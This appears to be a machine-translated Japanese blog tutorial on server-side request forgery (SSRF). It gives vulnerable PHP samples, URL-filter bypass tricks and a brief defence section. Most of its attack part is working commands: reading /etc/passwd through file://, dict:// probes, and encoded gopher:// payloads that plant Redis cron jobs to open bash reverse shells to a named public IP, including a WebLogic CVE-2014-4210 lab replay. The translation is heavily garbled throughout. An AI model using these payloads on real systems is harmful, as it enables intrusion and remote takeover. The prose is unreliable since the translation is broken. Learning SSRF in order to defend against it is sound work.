預言者コミュニティで開始
0x00の序文
学んだCSRFの脆弱性の後、多くのことを学びました。SSRFもCSRFの脆弱性や抜け穴が同様の少しを持っていました。
クライアントのリクエストフォージェリをもとにCSRF CSRF;偽造リクエストサーバベースのSSRFサーバ側のリクエストフォージェリ、。
それは最初SSRFの脆弱性にそれを学習への道にまだあるのでSSRFので、学ぶことではありません!
0x01のSSRFの脆弱性プロファイル
1.SSRFの脆弱性の概要
SSRF(サーバー側リクエストフォージェリ:サーバー側のリクエストフォージェリ)は、攻撃者による構築物は、サーバによって要求を開始したセキュリティ侵害を形成しています。
一般的に、攻撃SSRFの目標は、ネットワークの外部からアクセスすることはできません内部系统
。(それは、サーバによって開始されるので、それは、それが外部ネットワークから接続し、隔離されたネットワークを要求することができる。すなわち、ネットワークサービス要求を活用することができ、攻撃の踏み台として)
2.SSRF脆弱性の原因
その理由は、SSRFサーバーの形成に宛先アドレスにフィルタと制限を持っていない他のサーバーやアプリケーションからデータを取得する機能を提供するため、多くの場合です。
以下のような:指定されたアドレスの画像、ダウンロードなどが指定されたURLアドレスの負荷からWebページのテキストの内容を取得します。これは、サーバー側のリクエストフォージェリの使用です。SSRFは使用することがあり存在缺陷的web应用作为代理
、リモートサーバーとローカルの攻撃を。
3. SSRFしやすい地域
- トランスコーディングサービス
- 翻訳者
- 画像の読み込みおよびダウンロード(URLアドレスやダウンロード画像を使ってロード)
- 写真、記事収集機能
- 用地取得、ローカルのWebクロール。
- アバター場所。(リモートローディング画像)
- すべてはあなたがIPと場所を入力することができますURLを入力する必要があります。
- URLのから見ると
share
キーワード:wap
、url
、link
、src
、source
、target
、u
、3g
、display
、sourceURl
、imageURL
、、domain
...
4. SSRFは攻撃を達成することができます
- 外部ネットワークは、ネットワーク内のサーバが存在するが、ローカルポートスキャンは、いくつかのサービスを取得することができますバナー情報を
- 内部ネットワークを攻撃するか、ローカルで実行するアプリケーション
- デフォルトのファイルにアクセスすることにより:(READMEファイルなど)を達成するために、内部ネットワークのWebアプリケーションをフィンガープリント
- 主にGETパラメータを使用して、ネットワーク内部及び外部ウェブアプリケーション攻撃は、(:Struts2の、SQLIなど)攻撃を達成することができます
- (のような:の使用をダウンロード内部ネットワークリソース
file
など、ローカルファイルプロトコルを読んで) - スプリングボード
- CDNを無視
- getshellを達成するために使用Redisの不正アクセス、HTTP CRLFインジェクション
0x02のSSRFの脆弱性に関連する機能とプロトコル
1.機能
file_get_contents()
、fsockopen()
、curl_exec()
、fopen()
、readfile()
およびその他の機能不適切な使用はSSRFの脆弱性が発生することができます
(1)のfile_get_contents()を
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>
file_get_content
機能は、ユーザーが指定したURLから取得した後、Jを保存するファイル名を指定して、ユーザに提示します。file_put_content関数は、文字列ファイルを書き込みます。
(2)fsockopenの()
<?php
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
fsockopen
ユーザデータを取得するの特定の機能を実現するURL、機能は、サーバーのデータ伝送との接続を確立するTCPソケット(ポート)を使用しています。変数ホストは、ホスト名、ポートのポート、エラーメッセージを示すerrstrは情報が返される文字列を、30の限界であります
(3)curl_exec()
<?php
if (isset($_POST['url'])){
$link = $_POST['url'];
$curlobj = curl_init();// 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
$result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
curl_exec
指定されたセッションを実行するための機能のcURL
ご注意ください
1.一般情况下PHP不会开启fopen的gopher wrapper
2.file_get_contents的gopher协议不能URL编码
3.file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
4.curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
5.curl_exec() //默认不跟踪跳转,
6.file_get_contents() // file_get_contents支持php://input协议
2.プロトコル
(1) file
:状況のエコーの場合は、任意のコンテンツ読み取るためにファイルプロトコルを使用して
(2) dict
:インストールソフトウェアのバージョン等、営業のRedisネットワークサービス内、ポートを参照してください、情報を漏洩した
(3) gopher
:ゴーファーサポートはGETを作ります、POSTリクエスト:最初の要求パケットキャプチャを取得し、要求パケットを投稿することができ、その後、要求Gopherプロトコルを満たすように構成します。SSRF使用Gopherプロトコルは、(一般的にユニバーサルプロトコルとして知られている)最も強力なプロトコルの一つです。これは、バウンスシェルに使用することができる
(4) http/s
:検出ネットワークホスト生存
0x03のSSRF悪用
ローカル使用
カールに例えば、サポートされているプロトコルの一覧を表示カールcurl -V
。ローカルUSE:
(1)ファイルプロトコルを使用してプロトコルファイル(ファイルがどれかを読んで)
curl -vvv 'file:///etc/passwd'
(2)プロトコル辞書の辞書プロトコルを使用して(構成情報取得Redisの)
curl -vvv 'dict://127.0.0.1:6379/info'
(3)(一般に汎用プロトコルとして知られている)GopherプロトコルGopherプロトコル(キーリバウンドバッシュ)を用い
curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/4444 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'
リモートから悪用可能
1、環境
攻撃機のIP:192.168.201.129,121.36.67.230
攻撃機:カーリー、公開サーバ
リモートサーバのIP:39.xxx
ドッカーミラー:ssrf_redis
PHPバージョン:PHPバージョン7.2.28(テストの5.6バージョンは失敗します)
2、遠隔サンプルコードの使用
ssrf.php
<?php
$ch = curl_init(); //创建新的 cURL 资源
curl_setopt($ch, CURLOPT_URL, $_GET['url']); //设置URL 和相应的选项
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch); //抓取 URL 内容并把它传递给浏览器,存储进文件
curl_close($ch); ////关闭 cURL 资源,并且释放系统资源
?>
post.php
<html>
<head>
<title>post</title>
</head>
<body>
<?php
echo $_REQUEST[cmd];
?>
</body>
</html>
3、遠隔利用パターン
1.使用したfile
プロトコル
の任意の原稿読取のを
curl -v 'http://39.x.x.x:8000/ssrf.php?url=file:///etc/passwd'
2. dict
契約
ポートサービス上の(1)ビューポートのバージョン情報と実行
curl -v 'http://39.x.x.x:8000/ssrf.php?url=dict://127.0.0.1:22/'
DESCRIPTIONオープンポート22
のdictプロトコルgetshell(2)
辞書プロトコルに関する:リクエストサーバポートへのコマンド:パラメータ、および自動充填の終了時\r\n
(CRLF)。
一つ一つ、及びライン上でコマンドを実行するためにGopherプロトコルを実行する辞書プロトコル。
それを実行するために一つずつ。
3. gopher
契約
ネットワーク攻撃内の(1)とリバウンドシェルRedisのは
RedisのRedisの不正アクセス攻撃を使用します
攻击redis的exp
echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/121.36.67.230/5555 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
bash shell.sh 39.x.x.x 6379
これにより、データをキャプチャし、変換し
、以下のように変換規則を:
最初の文字である場合>
、または<
要求および戻り時間を表す行の文字列を破棄し、その後。
最初の3つの文字がOK + OKであれば、返される文字列を表す文字列を破棄します。置換文字列の空白行が交換されます\r
%0d%0a
%0a
変換結果データは、次に、シェルを反発することができる上部捕捉を用いて結合ネットワークRedisの内Gopherプロトコル攻撃:
curl -v 'http://39.x.x.x:8000/ssrf.php?url=gopher://192.168.1.4:6379/_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f121.36.67.230%2f5555%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'
ラリーの成功は
http://39.x.x.x:8000/ssrf.php
SSRF Webサービスの脆弱性の存在である
192.168.1.4
IPネットワークはRedisのアプリケーション内
121.36.67.230
リバウンドシェルを受け、公衆ネットワークサーバである
(2)ポストリクエストフォージェリのリバウンドシェル
curl -v 'http://39.x.x.x:8000/ssrf.php?url=gopher://192.168.1.5:80/_POST%20/post.php%20HTTP/1.1%250d%250aHost:%2039.105.93.165%250d%250aUser-Agent:%20curl/7.58.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd%3Dccccc%250d%250a%250d%250abash%20-i%20%3E%26%20%2fdev%2ftcp%2f121.36.67.230%2f4444%200%3E%261'
ラリーの成功は、
192.168.1.5
Webサービスのネットワークであり、post.phpがある
4.のhttp/s
プロトコル
内部ホストを検出するためには、生き残った
ネットワークIPのための指示192.168.1.3
ホストの生存を
0x04のSSRF実用的なアプリケーション攻撃
1、gopherの攻撃のRedis
リファレンスリモートで3. gopher
契約
2は、WebLogic SSRF攻撃のRedis
CVE-2014-4210
をダウンロードします。https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf
コンパイルおよびスタートアップ環境
docker-compose build
docker-compose up -d
SSRFの脆弱性が存在しているにhttp://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
表示1.ポート
アクセス
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:80
//测试http://127.0.0.1:7001:将80替换成7001
オープンポート80記載し、接続しないではない
ポート開口説明、リターン404は、
2内部ホスト生存の検出
にDESCRIPTIONネットワークIPを192.168.1.1
ホスト生存
Redisのリバウンドシェルを使用して3. HTTPヘッダインジェクション、
見つかったネットワークでSSRF Redisのサーバーを検出することにより172.22.0.2:6379は通信することができる
遠隔の上面とほぼ同じにして使用します。
の/ etc / crontabのスケジュールされたタスクで書かれたリバウンドシェルスクリプト
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/121.36.67.230/4444 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
URLエンコードします
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F121.36.67.230%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
改行文字は"%0Dの%0Aの"に置き換える"\ rを\ n"はあります。ドメイン名はSSRF送信にエンコードされたURLの文字列が続く
成功リバウンド
0x05のSSRFは、バイパスへの脆弱性関連しました
1、従来のバイパス法
1. @
http://[email protected]
实际上是以用户名abc连接到站点127.0.0.1,同理
http://[email protected]:8080、http://127.0.0.1#8.8.8.8
ドメイン名の解決のうち、@など、さまざまな処理機能の処理の違いは、あります:
http://[email protected]@www.ccc.com
PHPの中でparse_url
認識www.ccc.com、となりますlibcur
リットルはwww.bbb.comとして識別される
2.使用して、[::]
を利用することができる[::]
程度にあまりにもローカルホスト
http://[::]:80/ >>> http://127.0.0.1
ポート番号を追加します。3.
http://127.0.0.1:8080
4.短いURL
ウェブマスターツールの短いURL
Baiduの短いURL
5.特別なドメインの
原理はDNS解決です。xip.ioは、任意のドメイン名のことを指すことができます
127.0.0.1.xip.io,可解析为127.0.0.1
6. DNS解決
記録領域Aに設けられた、ポイント127.0.1
7.六角変換
127.0.0.1
進:0177.0.0.1
六角:0x7f.0.0.1
進:2130706433
8.期間
127。0。0。1 >>> 127.0.0.1
9.302ジャンプ
使用してジャンプアドレス生成https://tinyurl.com 302
図2に示すように、共通の制限
1. http://www.xxx.comドメイン名に限定
HTTP基本認証方式を使用してバイパスします。@その
http://[email protected]
2.制限はIPアドレスがネットワーク内にない要求
ネットワークは、IPアドレスが許可されていないとき
にバイパスに(1)を、短いURLをとる
(2)特別なドメイン名を取る
(3)進変換を取る
3.制限事項が唯一のhttpプロトコルを要求
(1)302ジャンプ採取
(2)ショートアドレスを取ります
0x06のSSRFの抜け穴防衛
1、不要なプロトコルを無効にする(例:file:///
、gopher://
、dict://
など)。HTTPおよびHTTPSだけが要求許可する
ポートのステータスを決定するために、エラー情報を防止するため、2、統一されたエラーメッセージを
最後のURLまでは、新しいネットワークがホストIPであるかどうかをチェックし、302はジャンプを禁止、またはたびにジャンプ、3
、4内部ネットワークのIPを制限するホワイトリストまたはセットURL
0x07のあとがき
学習プロセスSSRFでは、公衆ネットワークサーバーに、このようなバウンスシェルとしていくつかの問題に遭遇し、エクスプロイト長時間投げます。しかし、最終的にこの問題を克服します。同時に、SSRFの脆弱性を学習することにより、見つかった抜け穴を利用CSRFの脆弱性の限界よりも、本当に小さいSSRF、とSSRFの脆弱性いくつかのアプリケーション内部ネットワークの害は比較的大きいです。そのため、開発プロセスでは、SSRFの脆弱性を回避しようとします。
参考ブログ:
SSRFの脆弱性研究
SSRF -のWebLogic vulhubリプレイやネットワーク攻撃のRedisの()内の脆弱性
SSRF攻撃ネットワークアプリケーション内で
SSRFバイパス方法